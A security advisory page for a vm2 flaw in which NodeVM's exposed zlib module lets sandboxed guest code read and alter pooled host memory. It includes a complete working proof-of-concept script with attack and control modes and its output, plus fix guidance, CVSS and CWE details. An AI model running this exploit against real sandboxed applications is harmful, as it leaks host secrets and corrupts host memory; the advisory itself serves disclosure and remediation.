Skip to content

GHSA-489w-w794-jq94 CVE-2026-100723

vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.39%
Chance of exploitation in the next 30 days. Higher than 33.32% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-787 Out-of-bounds Write
Fix
3.12.2
Upgrade vm2 to this version or later

Description

Summary

When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.

Technical Details

NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.

The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.

PoV

The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.

const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
  let equal = true;
  for (let index = 0; index < markerCodes.length; index += 1) {
    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
  }
  if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
  route: {
    requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
    deflateSyncReturnedBuffer: Buffer.isBuffer(result),
    returnedBufferShape: !!result && !!result.buffer,
  },
  resultLength: result.length,
  resultBackingLength: result.buffer.byteLength,
  viewLength: view.length,
  fullBackingStoreView: view.byteOffset === 0
    && view.length === result.buffer.byteLength
    && view.buffer.byteLength === result.buffer.byteLength,
  markerHits,
  firstMarker,
};

PoC

Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.

npm install vm2@3.11.8
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control
'use strict';

const { NodeVM } = require('vm2');

const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];

for (let index = 0; index < 192; index += 1) {
  const buffer = Buffer.allocUnsafe(64);
  buffer.fill(0x41);
  const markerOffset = index % (buffer.length - markerCodes.length + 1);
  markerCodes.forEach((byte, byteIndex) => {
    buffer[markerOffset + byteIndex] = byte;
  });
  retained.push({ buffer, markerOffset });
}

const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) => before.some((bytes, index) =>
  bytes.some((byte, byteIndex) => byte !== after[index][byteIndex]));
const mode = process.argv[2] || 'attack';
const input = process.argv[3] || 'hello';
const before = snapshot();
const vm = new NodeVM({ require: { builtin: ['zlib'] } });

if (mode === 'control') {
  const control = vm.run(`
    const zlib = require('zlib');
    const result = zlib.deflateSync(Buffer.from('hello'));
    const local = Buffer.allocUnsafe(1);
    const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);
    module.exports = {
      route: !!zlib && typeof zlib.deflateSync === 'function'
        && Buffer.isBuffer(result),
      exactSize: local.byteOffset === 0
        && local.buffer.byteLength === local.length
        && view.byteOffset === 0
        && view.length === local.length
        && view.buffer.byteLength === local.length,
    };
  `, 'zlib-buffer-case-a.js');
  const passed = control.route && control.exactSize && !changed(before, snapshot());
  console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));
} else {
  const attack = vm.run(`
    const zlib = require('zlib');
    const result = zlib.deflateSync(${JSON.stringify(input)});
    const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
    const markerCodes = ${JSON.stringify(Array.from(markerCodes))};
    let firstMarker = -1;
    for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
      if (markerCodes.every((byte, byteIndex) => view[offset + byteIndex] === byte)) {
        firstMarker = offset;
        break;
      }
    }
    if (firstMarker >= 0) view[firstMarker] ^= 0xff;
    module.exports = {
      route: !!zlib && typeof zlib.deflateSync === 'function'
        && Buffer.isBuffer(result),
      fullView: view.byteOffset === 0
        && view.length === result.buffer.byteLength
        && view.buffer.byteLength === result.buffer.byteLength,
      poolIsWider: result.buffer.byteLength > result.length,
      markerFound: firstMarker >= 0,
    };
  `, 'zlib-buffer-case-b.js');
  const passed = attack.route && attack.fullView && attack.poolIsWider
    && attack.markerFound && changed(before, snapshot());
  console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));
}
{"mode":"attack","result":"violation"}
{"mode":"control","result":"pass"}

The attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.

The reproduction is tested against vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164; package metadata at that revision identifies vm2 3.11.8.

Impact

An affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist zlib. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.

Suggested Fix

Before any host-builtin return value is exposed to the guest, apply depoolBuffer or an equivalent owned-copy wrapper to every returned Buffer. The delivered buffer should satisfy byteOffset === 0 and buffer.byteLength === length; intentionally supported ArrayBuffer sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.

Add a regression test that allowlists zlib, calls deflateSync, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.

Affected Package/Versions

  • Package: vm2 from npm.
  • Tested affected source revision: 91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Package metadata at that revision: 3.11.8.
  • Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.
  • Affected range: only the exact tested revision is asserted; no broader release range is established here.

Advisory History

The public GHSA-fcqc-726x-5wfc advisory documents shared small-buffer-pool exposure through sandbox-facing Buffer factories. The checked public fix is commit 4f2508abeb252aa86eb6761c78b3b000248fb089, titled fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool; its change applies the backing-store ownership rule to those factories, not to the zlib host-builtin return path demonstrated here.

The exact GHSA-fcqc-726x-5wfc commit search also returned 5214b02ef13b82497fcb917b45320dfd014ffd09, whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for zlib Buffer pool issues returned no independent match, and the corresponding zlib Buffer pool pull-request search also returned no independent match.

Prior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.

This finding is therefore distinct in fix surface: zlib is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/Reflect.apply handling, and process-global FIPS state.

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.12.2
3.12.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.12.2

npm
npm install vm2@3.12.2
yarn
yarn add vm2@3.12.2
pnpm
pnpm add vm2@3.12.2

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
Low
Availability (subsequent systems)
None

CVSS 3.1 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-787: Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer.

How to prevent it
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
  • Operation, Build and Compilation: Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking. D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
  • Implementation: Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
  • Operation, Build and Compilation: Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking. For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
  • Operation: Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment. For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
  • Implementation: Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
GHSA-88hf-g992-jg85
vm2: Sandbox Escape (NodeVM)
Critical Also affects vm2
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor